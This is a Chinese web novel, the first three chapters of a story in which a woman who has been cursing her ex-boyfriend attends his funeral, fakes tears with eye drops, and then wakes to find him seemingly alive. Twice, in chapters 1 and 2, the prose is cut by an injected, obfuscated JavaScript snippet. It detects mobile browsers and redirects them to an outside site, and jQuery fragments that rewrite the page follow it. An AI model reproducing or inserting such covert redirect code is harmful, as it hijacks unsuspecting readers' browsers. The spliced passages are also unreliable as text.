《参加前男友葬礼那一天》 1. Chapter.1 电脑浏览器的最上方有一串打开的标签页,因为标签页开得太过密集,每一个标签页都只显示了搜索引擎的图标和词条的第一个字。 ——「诅……/咒……/最……/探……/打……/怎……/有……」 夏梨凑得离电脑屏幕很近,打开一条没看过的新标签页,逐字逐句看过去: ——「诅咒的“灵验”往往来源于心理暗示或巧合。与其期待虚无缥缈的报复,不如专注于如何让自己变成强者,过好自己的生活,真正的强……」 夏梨还没有读完,便毫不留情地关闭了这条标签页,废话一则,她转头又去了一趟贴吧。 包含诅咒的词条和帖子都已经被她翻来覆去看了很多遍了,只要沾点边的相关的帖子她都会点进去仔细查看,有些完全是神神叨叨的自编自话,还有的帖主直接开始在上面连载小说,但打上了真实经历的标签后,这条十几年前的老帖现在依旧有着居高不下的浏览量和转载量。 还有的看着像真的,但有点危险。夏梨只是想诅咒前男友,还不想把自己的命搭进去。 她手边有一个牛皮小本,上面记录了一些不痛不痒的诅咒办法,至于是否真的有用,夏梨觉得这纯属于她个人泄愤,姑且算个解压小技巧。 电话响起得很突然。夏梨盯电脑盯了一下午,眼睛有点酸涩,一手揉眼睛,一手捞过自己的手机,看眼来电显示后,接通电话,按了外放。 打电话来的是她在国外留学时期认识的好友,秦方好。两人关系很好,都在一所城市,回国后也还一直都有联系,经常约着出去玩。 夏梨靠着椅背,随手拿过桌上的牛皮小本,翻看今天新记载的这条诅咒方法,看了两行后,发现电话里没人说话。 夏梨疑惑看过去,伸长手臂按亮音量键,音量是满的。正要开口询问,一个女声轻颤,像是极力压制着自己的悲痛后才开口。 “梨子……我们刚刚得知……裴澈去世了。” 夏梨身体一僵,一股凉意从她的脚底升到头顶,瞬间凝结成霜,让她的大脑死机无法思考。手上的牛皮小本从她手中脱落,重重砸在木地板上。 窗外是漫天的霞光,盛夏的夕阳透过落地窗斜斜照在她的身上,并没有为她带来一丁点暖意。 乌鸦嚎叫着从天空俯冲而下,掠过夏梨的窗前,停在不远处的一棵树上,云朵被残阳烧得通红,几欲滴血。 “喂,喂,梨子……你还好吗?” 好友焦急的声音传来,夏梨回神,眸底映着窗外血红的残阳,第一反应是玩脱了,第二反应是她现在好冷。 夏梨发着抖推开另一侧的落地门,逃离空调房的凉爽,带着手机坐到了阳台的藤椅上,置身于夏日涌动的热浪之中。 “我没事。”夏梨整个人缩进藤椅里,双臂环着膝盖取暖。 她接着道:“确定吗……是真的死了?怎么发现的?” “是车祸。前天他去郊外的工厂视察,车子开到蕴山的时候忽然失控冲破了桥栏,整台车都掉进了湖里。当天晚上车被打捞出来了,接着是司机,裴澈是今天早上才被打捞出来的。叔叔阿姨他们已经去认过尸做过DNA鉴定了,的确是他没错。” “叔叔阿姨的意思是,希望他早点安息,葬礼在明天举行,梨子,你会去吗?” 秦方好的声音放得很轻,她很怕这个消息会刺激到夏梨,毕竟当初是夏梨主动追的裴澈,她知道了一定很难过。 夏梨当下脑子乱得很,已经无心再和秦方好说别的,她急需独处清理思绪。 “好,我会去的。” 夏梨很快把电话挂断,秦方好又追了条消息过来:【梨子,你要是有什么就和我说,千万别憋在心里。】 夏梨迅速编辑了一条消息给秦方好,让她放心,最后把手机扔在了面前的玻璃桌上。 夏梨居住的这片区域,绿化做得特别好,四处可见幽深的绿树,此时蝉鸣声未歇,虫鸣四起,扰得夏梨的心越来越乱。 她大脑高速运转复盘了一遍刚刚的对话信息,视线游离,望向屋内时,正好看到她三个月前为裴澈设置的灵位。这三个月以来,她一直兢兢业业为他上香,所求的也就是今天这个结果。 短暂的失神之后,夏梨强烈不安的心逐渐裂开一道痕迹,这里迅速涌出一丝欣喜的名为胜利的甜香。 夏梨想说再怎么样都是死者为大,她其实并不是那种去别人坟头蹦迪的人,但现在她想说,她并不介意去裴澈的坟头蹦两圈。 等体温恢复,情绪也渐渐淡下来后,夏梨重新回到卧室。 屋内凉气抚过她高温的皮肤。夏梨走近灵台,看着黑白照里男人的英俊眉眼,漠然地点了三炷香插进香炉。 夏梨讨厌裴澈,这一点没人知道。大家似乎都默认两人是模范情侣,相互间爱对方爱到无法自拔,就算是分手了,他们也一定深爱着对方,迟早会复合。 可当初夏梨和裴澈在一起的理由真的和深情沾不上一点边。 那时她被家里安排来国外上大学,这是她第一次出国,浑身上下都在排斥这个陌生环境。再加上她运气不怎么样,总是遇到一些有种族歧视的白人。 课业压力大,生活无趣又被歧视,这种时候她就想找点男人来消遣。 于是她开始把目光转向合眼缘的男人,无论国籍。 很意外地,她遇见了裴澈。 那天下着大雨,她没带伞,也没有外国人兜着帽子走入雨幕的勇气,就站在图书馆的檐下躲雨赏景。 裴澈就在这时候出现。 和很多富二代不一样,裴澈穿得过于朴素,以致于夏梨那时候以为他是个穷小子。 普通的深色牛仔裤,普通的白色T恤和普通的灰色开衫卫衣。 他从朦胧的雨雾中走来,夏梨先看见他挺拔的身形,等他匀速行到图书馆门前,稍稍抬高了伞檐后,夏梨看清了这人的五官。 原本觉得他穿得过于朴素,可当这张脸在烟雨朦胧的雨幕中出现时,夏梨还是不免心头一跳。 像是朦胧的国画中骤然看清的山脉,山间清新的空气瞬间涌入鼻腔。 这张脸并不是奶油小生般的秀气,反而带着些恢弘气势。 会这么说,是因为夏梨注意到了他的那双眼。尖锐的眼头,上挑的眼尾,似乎带着杀气,这股杀气来源于他蹙眉的习惯和本就锐利硬朗的五官。 只此一眼,夏梨单方面认定了他,她喜欢他这张拽脸。 下雨带来的潮气如影随形,夏梨乌黑的长发发梢被沾湿,贴在她露出的手臂上,带来一股凉意。 夏梨黑发棕瞳,清泠泠站在台阶之上,一双杏仁般的大眼似盛着一汪清泉。 裴澈不知道是雾气太重还是女生皮肤过于白皙,总让他觉得她的身影好淡,朦胧之中有些森然,像是这场雨停掉她就将不复存在。 两人一直在对视。 裴澈迈腿上了台阶,站在她身旁收伞,发觉她目光始终停在自己身上,终于忍不住问出口:“要伞吗?” 夏梨看到他伞檐的固定绳了,上面有熟悉的中文标签。 怎么也没想到他会先对自己开口,他看起来不像是会先对女生说话的类型。 夏梨都已经想好的搭讪台词没有派上用场。 “谢谢,”夏梨伸手接过,没有刻意避开他手握伞柄的位置,故意用指尖擦过他的手指,温温柔柔道:“我叫夏梨,你叫什么名字啊?” 裴澈的手没有避开,等她完全接过伞才松手。但沉冷的表情又加重了一分漠然,他蹙着眉答:“裴澈。” 她笑得善良无公害:“在异国他乡见到同胞真好。这雨一时半会儿不会停,你不用伞吗?” “我不要紧。”裴澈说。 “那我要怎么还你,给我个联系方式。” “明天下午三点,弗朗街中心花园,你会在那儿看到我。” 夏梨笑着撑开伞,雨滴簌簌落满一地。 “谢谢你,裴澈,你人长得帅还心地善良。我们明天见,祝你今天学习顺利。” 话说完,她便撑着伞走入雨中。 回到她的公寓是三十分钟后。她先前住在学校的宿舍,另外两个白人舍友隔三差五找她的麻烦,都是些小儿科的伎俩,但是次数多了,吃屎的苍蝇也招人烦。 家里的老头反正愿意给她掏钱,于是她毫不犹豫搬了出去。 这天的雨下到夜幕降下也没见停的趋势,反而越下越大。 夏梨站在窗边看着这大雨,有点担心他回家要怎么办,当然只有一瞬间,因为下一秒她就又开始抠着脑袋啃文献。 雨是后半夜停的,清晨出了太阳。 夏梨在下午三点前就到了弗朗街的中心公园。 她在旁边的长椅上看书,中间看累了,抬起头看街景排列的绿树。 几乎是一瞬间,她就锁定了裴澈的身影。 这条街上人烟稀少,裴澈依旧衣着朴素,牵着五六条狗从远处走来。 原来是在做兼职。 夏梨收好书往他那边走,在长长的绿荫道中间与他碰面。 夏梨有些怕这几条大狗,尽管它们对她摇尾巴,但她还是往后退了两步,确保狗不会扑到她身上来。 裴澈用力拉紧了遛狗绳,神色淡然向她伸出手,手心朝上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626931|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏梨垫起一条腿的脚尖,把单肩包放在上面,双手奋力在里面摸索。黑色长发垂落,遮住她一半侧脸,能看见她娇俏的鼻尖。 待摸索一阵后,她重新将包挎到右肩上,露出歉意的表情:“抱歉,出门太急,好像忘记带了。” 才不是,她是故意的。联系方式都还没有要到,这么快把伞还给他岂不是没有以后了。 裴澈收回手,安抚了一下身边两只兴奋得想要扑过去的伯恩山。 “那就算了,我不要了。” “那怎么行呢,这是你的伞,要不再约个时间吧,我把它还给你。” 裴澈的眼睛真的很有威慑力,再配上他紧抿的薄唇,一记眼扫来的时候,夏梨还是有一瞬的发怵。 可他越是这么拽,她就越有征服欲。 她朝他微笑,同时也是为自己壮胆。 “你把它放到图书馆前台就好,我会去拿。” 他牵着狗离开了,表情依旧很不爽,仿佛夏梨是什么万人嫌。 夏梨站在原地,看着他逐渐远去的身影,笑容渐渐落下,嘴角变得平直。 不好追。 夏梨得出这个结论。 但她并不着急,花了一星期摸清他的每日行程之后,便开始制造各种各样的偶遇。 为了避免引起他的反感,她只出现在公共区域,大多数时候并不和他打招呼,从他面前直接略过,眼风都不带扫一个。 夏梨只给自己一个月的时间,如果这一个月拿不下他,她不会再把心思放在他身上,原本她接近他的目的就仅仅是为了消遣。 同时这一个月时间里,她也在物色新的男性。 她从不屑于与任何男性说话来达到让裴澈产生危机意识,但偏偏有好几次她路过时都有男生上前找她搭话。如此一来,她和裴澈的故事无形之中被这几个男生加速推进了。 情况转变在夏梨给自己定下的一个月之期的最后一天。 那天她按照往常的路线来到了弗朗街中心公园学习。 一直到日暮落下,光线不再充足,她收了笔记本电脑放进包里准备回去。 刚转身,蓝调的天空下,裴澈不知在那儿站了多久。 他像是一颗松,站得笔直,却又不觉得刻意,似乎他生来就该如此。 夏梨看他一眼,装作没看见,路过他身边。 裴澈跟在她的身后。 “我的伞你没有放到图书馆,准备什么时候还我。” 夏梨停住脚步侧头看他,“你不是说你不要了吗?” “你不是说你必须要还我?” “我喜欢当面交易,放在前台万一丢了怎么办,到时候你来找我我浑身是嘴都说不清。” 裴澈似乎被她的歪理说得有些不耐,微蹙着眉头道:“好,那你现在给我。” “我没带。要不你跟我回去拿?” 回程的路上,夏梨看着裴澈那涨冷脸,忽然有种逼良为娼的感觉,她有些暗暗得意,抿着嘴偷笑。 到公寓楼下,夏梨邀请他上去坐。 他并不动,只说:“你拿下来。” “好,你等着。” 然而片刻后,夏梨又回来了。 “电梯在维修,我不想爬上五楼再下来然后再爬回去,要不你跟我上去拿?” 电梯的确在维修,夏梨没有骗他。 夏梨缺少锻炼,爬上五楼的时候已经气喘吁吁,反观旁边的男人,胸膛都没有什么大的起伏。 夏梨邀请他在沙发上坐,这次他倒是没推脱。 “你坐,我去找一下,你要喝什么?” “不用。” 夏梨还是给他扔了一瓶橙汁饮料。 屋里灯光有些暗,他锐利的眼睛盯着夏梨,显得有些凶。 夏梨被他盯得发怵,开玩笑地说了一句:“你好凶哦,别这样看着我嘛,我会害怕,我这就去给你找伞。” 裴澈的眼神肉眼可见地柔和下来,不再似刚刚那般盯着她,淡淡地嗯了一声。 但伞被她搁置了一个月,这一时半会儿她还真找不到伞在哪儿。她发誓,这次真的没有戏弄他。 找了半天,她找出一身汗,最后一无所获,站在裴澈面前,悻悻地说:“抱歉,没找到。我记得我明明收得好好的,不知道怎么回事就不见了,你要是不介意的话,留个联系方……” 她就站在裴澈身前,裴澈倏地站起来,他的身高和体型带给她压迫感,逼得她闭上了嘴。 接着她眼睁睁看着裴澈抬起她的下巴,埋下头来,狠狠压住她的唇,吻住了她。 甜的,橙汁的味道。 2. Chapter.2 清晨六点,夏梨睁开眼,离昨晚设置的闹钟响铃还有三十分钟。 房间的床帘没有拉,轻纱似的微光照进来,房间被染成幽深的暗蓝色。 夏梨在床边坐了一会儿,整个人有种血液上涌又倒流四处流窜的兴奋感。 但脑袋又懵又晕,在时刻提醒她今天并不适宜出门。夏梨揉揉太阳穴,终于站了起来。 尽管脚步虚浮,她无法对外人道的兴奋感已经使她的脸上浮现出了笑容。 她要去参加前男友的葬礼了。 夏梨对这场葬礼十分重视,昨天吃过晚饭后就开始搭配服装和配饰。从波西米亚风到千金风,Y2K风再到老钱风,风格跨之大,每一套她都可以做出独特解释。 一直忙到今天早晨五点才终于选定衣服,安心躺下睡一会儿。 然而这觉睡得并不踏实,期间总是梦到裴澈,先是梦见两人的初见,那场大雨将她淋透,从头到脚是彻骨的寒冷。 裴澈撑着伞靠近她,天气就转了晴。 郎朗晴日,清风拂面,天气随着裴澈的质问猛地一变,他问夏梨为什么自己去世了她会这么开心。 夏梨这时浅眠,并没有深睡,就算是在梦中也还残留着恨他的潜意识,她抬手就给他一巴掌。 “你死了我不仅要高兴我还要放烟花!” 还好梦里的裴澈并没有什么还手的能力,她可以肆意击打他。但她也根本使不上什么力气,醒来后觉得打得并不过瘾。 夏梨化好妆换好衣服,出门前在她给裴澈设的灵位前点了三炷香。 她静静与照片里的男人对望,暗自感慨这段时间没有白费心思上网搜罗各种诅咒资料,检验成果的时刻终于来了。 心情好,就连脚步也轻盈。 下楼吃饭时,阿姨还说难得见她这段时间这么高兴,问她是不是有什么好事。 夏梨冲阿姨甜甜一笑,“因为讨厌的人以后不会出现了。” 阿姨还不知道发生了什么事,只管向她道贺。 司机提前等在家门口,夏梨吃过早饭,闲庭信步走到车旁。上车后先精心自拍几张,最终选了一张发出去,只因这一张角度问题太阳光刚好形成一束打在她的头上,她觉得寓意很好。 在简单p过后她发了一条朋友圈: 【去参加前男友的葬礼≥wO】 刚发出去两分钟就有不知情的朋友以为她在玩抽象,点赞,留评:接! 夏梨喜笑颜开,把路人也拖入到她的狂欢之中,回复:【给你蹭蹭!】 这种大喜事当然要给所有人都蹭蹭。 去葬礼这一路的路况都十分平稳,短暂享受过睡眠的夏梨看着没有太大变化的街景,眼皮逐渐开始打架。 最终还是抵不过睡意,阖上眼睡了过去。 因这一路畅通无阻,抵达殡仪馆时还算早。夏梨在车窗内看到了站在路边等待她的秦方好,她穿着一条黑色的长袖连衣裙,没有任何配饰,整个人低调又肃穆。 就在一分钟前,秦方好给她发了条微信,告诉她自己已经到了,就在路边等她。 夏梨不好意思让她久等,让司机帮忙举着镜子查看自己此刻的状态。 妆容依旧完整,还因为睡了一觉使皮肤更加饱满,气色也更加红润了些,不过这都得益于她今天选的腮红色号不错,衬得她气质高贵气血足。 她用手梳理头发,确认自己没有问题后才收回镜子向司机道谢下了车。 秦方好特意站在路边接她,就怕她一个人撑不住,也怕她近乡情怯,到了门口却又临阵脱逃。 她看到夏梨家的车到了,车窗内夏梨的身影一晃而过,太阳正好照在车窗上,有些反光,看不太真切。 稍等片刻,车门被拉开。 夏梨一双长腿先映入眼帘,她今天的服装以黑色为主色调,垂感十足的西裤和白色丝绸质地衬衫,领下打的是黑色缎带蝴蝶结。腰间系着金属环腰带,短款西装上衣衬得她腿长两米。胸前挂着很长一串南澳白大珍珠,几乎坠到腰间。 她的发质好,做了优雅的复古卷,走过来时头发随着走动而弹跳。高跟鞋掷地有声,脸蛋漂亮得很容易让人忽略她耳朵上的吊灯式钻石耳坠。 本身就瘦,走动时服饰随着她的动作而起层层波澜,从水镜中走出来似的清冷高贵。看起来不像是来参加葬礼,倒是来谈那五个亿的项目的。 秦方好看呆了,等夏梨走到身边才反应过来,渐渐又湿了眼眶。 夏梨平时穿衣风格并不是这种老钱风,她偏好自然的舒适的款式,如今穿成这样,想必也是为了送裴澈最后一程。 秦方好记得,光是夏梨耳朵上那一对耳坠,那还是裴澈在苏富比拍卖来专程送给她的生日礼物。 她戴着这对耳坠来是什么意图自不必说。 夏梨不懂秦方好心里想的什么,她也并不记得耳坠是裴澈送的,只知道她这一身搭配大有来头却无法对秦方好说。 这套穿搭可是她用心搭了一晚上的成果,只是可惜这是葬礼,她不能尽显色彩上的张扬。不过如今这一身也已经足够贵气,她要的就是这个效果。 她特意选了丝绸质地的衣服,就是想告诉他,他死后当鬼就只能这么飘。除此以外,她实在是心地善良。脖子上佩戴的珍珠项链,她把它当做是佛珠,是为了给他超度。 尽管这一身都是黑色调,但她的搭配过于贵气,有人路过,上下打量她两眼,摇着头走了。 夏梨对别人的目光视若无睹,率先看到了秦方好红肿的眼眶,她的手里还攥着泪湿的纸团。 简单寒暄拥抱,秦方好的声音还带着一丝哭腔的暗哑,夸赞她道:”很漂亮,裴澈可以安心走了。“ 夏梨嘴角勾出一丝讥诮的弧度,没有回答她的话,只是抬手轻抚她的背脊以示安慰。 裴澈的灵堂有些简陋,不难看出父母为了让他早些安息而布置得匆忙。前来吊唁的人有很多,站在门口的迎接的是裴澈的好友肖颂安,而裴澈的父母则在里面接待前来吊唁的客人。 夏梨向肖颂安颔首算作打招呼,肖颂安见到她时,眸中的错愕转瞬即逝,也朝她颔首。 夏梨从前就和他没有什么话要说,和裴澈分手后便更是如此。身旁的秦方好和肖颂安是前任的关系,这会儿就连点头颔首都做不到。 三人无言面对面站着,低气压层层环绕。 夏梨无心参与他们的对视,她今天有要事要做,裴澈的葬礼她可要好好参观,于是歪着脑袋往里看。 时间匆忙,裴澈的父母将葬礼设置成开放式的,谁都可以前来。裴家家大业大,死的又正是裴老爷子钦点的继承人,前来吊唁的人很少有出自真心的,大多数只是为了来攀关系。 那些黑色身影鞠躬吊唁时的神色看似悲痛,可走到一旁和裴澈的父母说话时,脸上又带上了攀附的假笑。 没想到裴澈落得这样一个下场,就连来吊唁的人也没两个真心的,夏梨无情哂笑,又觉得这是他应得的。 她的手不自觉下移到裤子口袋处,口袋里有一个凸起的瓶状物,是她出门前特意带上的眼药水。 刚摸上眼药水,夏梨冷不丁和正前方的裴澈的黑白遗照对视上了,这张照片是她从没见过的照片,与她房里的那张黑白照不同,那是她选的裴澈学生卡上的照片。 而这里用的是裴澈一身西装的黑白照,看起来有股锐利的杀气。夏梨抬起下巴,没有丝毫退缩的意思,却是一直盯着他的那双眼睛,那双初见时她会害怕的眼睛,在一起后总会对着她笑的眼睛。 ——那双带有欺骗性意味的眼睛。 她要让他知道,对于他的死,她不仅是一滴眼泪都挤不出来,还需要眼药水的辅助。 这个地方让夏梨感到不舒服,她想速战速决,借口去洗手间的功夫,滴上了眼药水。 眼球猛地被冰凉的液体包裹,刺激着她生理泪水瞬间溢出,连同眼药水一同往下落。 秦方好不放心她一个人,很快追过来,见她终于憋不住地哭了,轻轻拍她的肩膀,将她拉入自己怀中。 昨晚没有怎么睡,眼药水让本就酸涩的眼睛更加酸涩,夏梨严重怀疑自己这瓶眼药水已经过期,竟然没有给眼睛起到舒缓作用,反而刺激得更想流泪。 她不想让这些眼泪白白浪费掉,呜呜哭着往裴澈的灵堂跑。 高跟鞋噔噔噔急促响彻走廊,女人胸前的珍珠项链发出碰撞的温润声响,带着一身典雅香气走入灵堂。 本来排队吊唁的人竟然自动为她让出一条道,纷纷朝她投来好奇的目光。 夏梨泪眼婆娑地走向裴澈的遗照,扑通跪倒在软垫上,隐隐啜泣:“裴澈,你还这么年轻怎么就去了呀——” 和站在门口处看裴澈的遗相是完全不一样的感受。 此刻视线所及就是裴澈的大遗照,黑白相框内,他那一张俊脸一如往常的面无表情,夏梨甚至在哭得过头的时候能从破碎的“眼泪”中看到遗照内他的面容有一种扭曲的抖动感。 他的五官似乎都活了,正如从前一般朝她翻白眼亦或是不经意间嗤笑一声,眉眼却又流露出一丝愉悦。 她并不敢抹掉眼泪,一来害怕妆容被她抹花,二来害怕这点可怜的眼泪被这样一抹再想流出来只怕是不能了。 正当她佩服起自己的演技时,余光看见裴澈的继母走来蹲在她身旁。 裴澈的继母喉咙中克制硬挤出来的哽咽的腔调,温声细语道:“好孩子,快别哭了,裴澈他不想看到你这样的。” 夏梨扭头一看,和继母比起来,她的穿搭就显得弱了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626932|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单看单芳琪这脖子上璀璨夺目的绿宝石项链和若隐若现的事业线,再加上她身上浓郁的香水味,夏梨已经有些眩晕。 夏梨是见过裴澈的父母的,某一年的圣诞假期,两人一同回国,裴澈专门挑了个家庭聚会的时间将她带上门。那是夏梨第一次见到裴澈的继母,她是一个十分爱美的女人,会时时刻刻凸显自己傲人的曲线。 夏梨只当是一场普通的家庭聚餐,并没有深想,只是没有想到,用餐中途听见单芳琪对她说:“你是我们澈澈第一个带回家的女孩子,他直接就认定你了,到时候挑个好日子结婚,我和老裴就安心了。” 夏梨当晚和裴澈大吵了一架,因为裴澈和她说的是普通家庭聚餐,但他和父母说的是未婚妻上门。 两头骗。 她和他的关系什么时候到了走心要结婚的地步。 单芳琪看夏梨哭得上气不接下气,瞬间淌出来两行泪。 夏梨心一惊,没想到这人竟然不需要眼药水的辅助,随随便便就能哭出来。 她没有说哭就哭的绝技,只能放高音量:“裴澈,没有你我可怎么活,你带我走吧……” “伯父伯母,你们要节哀啊……” “裴澈你去得实在太早了,黄泉路上你可千万不要喝孟婆汤,我们下辈子还要在一起……” 说完这句,夏梨觉得自己演得太过了,她这段时间忙着诅咒裴澈,结果裴澈真的死了。还是要避谶,她立刻在心里连“呸”了三声,告诉老天自己是在演戏,求求祂千万不要当真。 她哭闹的动静实在是太大,裴澈的父亲裴致航也走过来,蹲下身安慰她。 夏梨这会儿的眼泪已经流干,眼药水的那股劲早就已经过去,她已经再也挤不出一滴眼泪。 她用力眨了一下眼睛才看清裴致航的脸。裴澈给夏梨看过他小时候的全家福照片,那时候的裴致航看起来像极了电影明星。但岁月是把杀猪刀,他不注重保养和锻炼,到了这个年纪发福,简直和从前判若两人。 相比起来,裴致航的演技比单芳琪的就差多了。 他发腮的面颊上肌肉微微抽动,两只眼睛因为奋力想要挤出泪水而眯城一条缝,像一头面部抽筋的野猪。 夏梨笑点低,差点爆笑出声。她一旦想笑,再憋只会适得其反。 就在这时她的心脏猛地一抽,眼前天旋地转起来,身体也不可抑制地向后倒去。 夏梨闭上眼睛,感觉整个世界都在抬着她旋转。她听见一片混乱的嘈杂声,秦方好嚷着打120,裴澈的父母假装关心她去给她端水,实则借故离开,不想惹上什么麻烦。 后来声音变得模糊,夏梨昏昏沉沉睡了过去。 这一觉睡得十分舒适,这样优质的睡眠实在是令夏梨感到久违。导致她醒来的时候看着被夕阳染得昏黄的白漆墙面,陷入了一瞬间的思考。 现在是白天还是晚上? 这都不要紧,因为夏梨在原本应该静谧的房间里听到了另一个人的呼吸声,舒缓而均匀。 夏梨睡得迷糊,这才发现自己睡在一张皮质沙发上,身上盖着一条空调薄被,而这呼吸声就在自己身后。 因为不确定身后的到底是谁,夏梨决定以一种慵懒的姿态睁开惺忪的眼,假装自己刚从昏迷之中醒来。 她缓慢转过身,皮质沙发因为她的翻动而发出细碎的摩擦声响。 先入目的是一条男士的黑色西裤,男人的手肘撑在大腿上,左手手掌垂下,纤长而骨节分明的手指,分布着已经凸起的青色的血管,一直往上,血管消失在男人纯白色衬衫的袖口处。 夏梨对这只手再熟悉不过,心头猛地一跳,一种不好的预感密布全身,像是鬼压床,她浑身软得使不上力气,只有眼珠还能转动。 夏梨视线再向上,男人右手正举着一瓶眼药水,对着窗口倾洒进来的夕阳转动着角度,随着他的动作,透明的药水正反射出一道光芒,那光芒刺得她立刻闭上了眼睛,给了她一点喘息的时间。 她再次睁开眼才发现,其实刚刚那道刺目的强光并非来自于眼药水,而是来自男人修长中指最底处的钻戒,并不算低调的克数,在他的转动下发出璀璨的光芒。 夏梨不自觉吞咽一口口水,紧张得喉头发酸,因为那枚钻戒她再熟悉不过。 那只仿若艺术雕塑般的手指忽地松开,透明的塑料小瓶因重力下落,很快被那只张开五指的手捏入掌中,钻戒的光芒闪耀一瞬归于黯淡。 刺目的光终于消失不见,而随着男人慢慢转向她的头颅,夏梨终于看清了男人的脸。 那双上挑的眼睛,那双第一次看令人发怵的眼睛此刻藏笑,漆黑的眼珠里是平躺着却十分惊惧的夏梨。 男人的模样一如从前般冷峻,眉峰微微上挑:“睡醒了?” 3. Chapter.3 夏梨确定,裴澈已经死了,因为自己刚刚参加了裴澈的葬礼。 她在葬礼上出尽了风头,最后一阵眩晕倒了下去。对于这件事,她的记忆依旧很深刻。 而此刻,泛着橘黄的夕阳就这么明晃晃地洒在裴澈身上,以高挺的鼻梁为分界线,一只眼睛的瞳孔被照成通透的琥珀色,而另一只黑得深不可测。 若说他是鬼魅也完全说得通。 夏梨浑身起了一层冷汗,忽然觉得今天这番操作像是搬起石头砸自己的脚。她应该要避谶的,不该张嘴就胡说八道,现在真见到裴澈了,她怕得要死。 或许裴澈见她一直不说话,忽然俯身靠近,鼻尖离她的鼻尖仅仅几毫米距离。 夏梨不可抑制地倒吸一口气后屏住了呼吸。接着她看见裴澈脸上浮现出一丝讥笑,而后发出一声低沉的笑。 他总喜欢这样笑,好像所有事都在他的掌控之中,一副运筹帷幄的样子。 她不太确定裴澈出现是做什么的,她不会就这样被他吸食掉精气去世吧? 思绪实在太过混乱,她更愿意相信自己现在是在做梦,毕竟她连自己现在在哪儿都不知道。 在她醒来的短短时间里,她也在观察周围的环境。 这是一间很新的白色的房间,摆放着办公桌和各式办公用品。墙壁粉刷得纤尘未染,纯洁得像一条吸水纸,被夕阳昏黄的光线照到的地方,饱满且膨胀。以裴澈坐着的位置为分界线,另一边的房间色调灰暗且冰冷,这里像极了人间与地狱的中间地带。 而且好安静,实在是太像做梦了。 低沉的笑声之后,裴澈直起身子,向后仰靠着椅背。 “瞧你,见到我都不敢说话了,很害怕我?” 裴澈的声音在幽静的房间里,犹如晨钟暮鼓,将夏梨敲清醒。 躺着就等于没有逃跑的机会,不管眼前的裴澈是人是鬼,至少她不能自暴自弃任人宰割。 夏梨登时坐起来,缩到沙发靠门的那一角,紧紧贴着沙发靠背。 这段时间灵异帖子浏览得太多,她知道有些人去世的时候是不知道自己已经死了的。像裴澈这种突然去世的,很有可能自己并没有意识。 她声线带了一点颤抖,试探性地小声问:“你死了你还记得吗?” 她的声音分贝不大,与平时说话自信且游刃有余的模样大相径庭。 裴澈右手的指尖拨弄着那瓶眼药水,淡哂后不见了刚才的闲适,眸色与脸都冷下来。 “记得,躺棺材里听见你叫我带你走,我这不就来了?” 夏梨攥紧了被角,手心渗出虚冷的汗水。甚至忘记了其实裴澈早已被父母安排火化。 房间实在太过安静,她甚至能听见自己的心跳移到耳边叫嚣。 这比较难办了,她紧锁着眉头,试图和他动之以情晓之以理,声音又虚又哑: “每个人都有每个人的命数,我很同情你不幸的遭遇。但你不要执迷不悟,早点去投胎转世才是正经事,而且我们阴阳两隔,这样也不合适吧……” 夏梨捕捉到裴澈眉峰上挑的一瞬,他慢悠悠地说道:“哦?怎么不合适了,我看挺合适的。而且我也不想投胎,我就想和你待一块儿。” 夏梨感觉心口处被人梗了一下,她竟然妄想和鬼讲道理。 一股无名火陡然间燃起小火苗,但在和裴澈对视后,她又瞬间熄火。现在这个情况下,她根本不敢发火,她甚至都不太敢和裴澈长久对视。 裴澈就坐在她沙发边的椅子上,视线随着她位置的挪动而移动,最后定定看着她,而后者只敢将视线落在不远处的瓷砖地上。 “我又不想……”夏梨小声嘀咕。 她对这段在留学时期发展的不走心的感情关系,一直抱着玩耍的态度。分手是她提的没错,但是他却直接点了头。给她反应的过程都没有,好像裴澈从前的那些深情模样都是他装出来的,就等着她什么时候提分手了。 也就是在那一瞬间,她那些想要问出口的话全部都吞下下去。和一个人渣在一起了好几年,简直是浪费她的时间。 裴澈听见她的嘀咕,没有回答,抬起手臂看了眼腕表上的时间,以同样小的声音说:“竟然睡了这么久,没多少时间了……” 他恢复正常音量,抬起头对夏梨说:“我需要你帮我个忙。” 竟然还好意思请她帮忙?夏梨立刻就想给他一脚。但人在屋檐下不得不低头,而且眼下的情况其实也对自己不利,她只好深吸一口气点点头。 “这两天抽空去一趟我家,不需要你做什么难办的事,只要像刚刚那样大哭,扮演悲痛欲绝的样子就好,你很擅长的对吗?” 被说中自己卑劣的演技,夏梨下意识反驳:“我那是真情流露,对你的去世我真的感到伤心。” 裴澈哂笑,不置可否:“嗯,真情流露。” 她怕他不信,又补充道:“是真的!我昨晚眼睛都哭肿了!”说着说着抬手在眼睑下抹了抹。 像是因为他的话而哭泣。 “你还有什么心愿需要我来完成吗……”夏梨细声细气问。 话音刚落,门把手上下动了动,却没被推开。 “咦,这门怎么突然打不开了……”秦方好的声音从外面闷闷地传进来。 突兀的门锁声骤然间把夏梨的理智拉回来,她一边想要怎么回应秦方好,一边转过头去看裴澈。 裴澈起身走到夏梨这边,俯下身双手撑在她身侧两边,声音低沉:“告诉她……” 秦方好用力拍了拍门:“夏梨,开开门,你在里面吗?” 她觉得夏梨的情绪太不稳定了,从今天她在葬礼上的表现来看,她很担心她的精神状态。 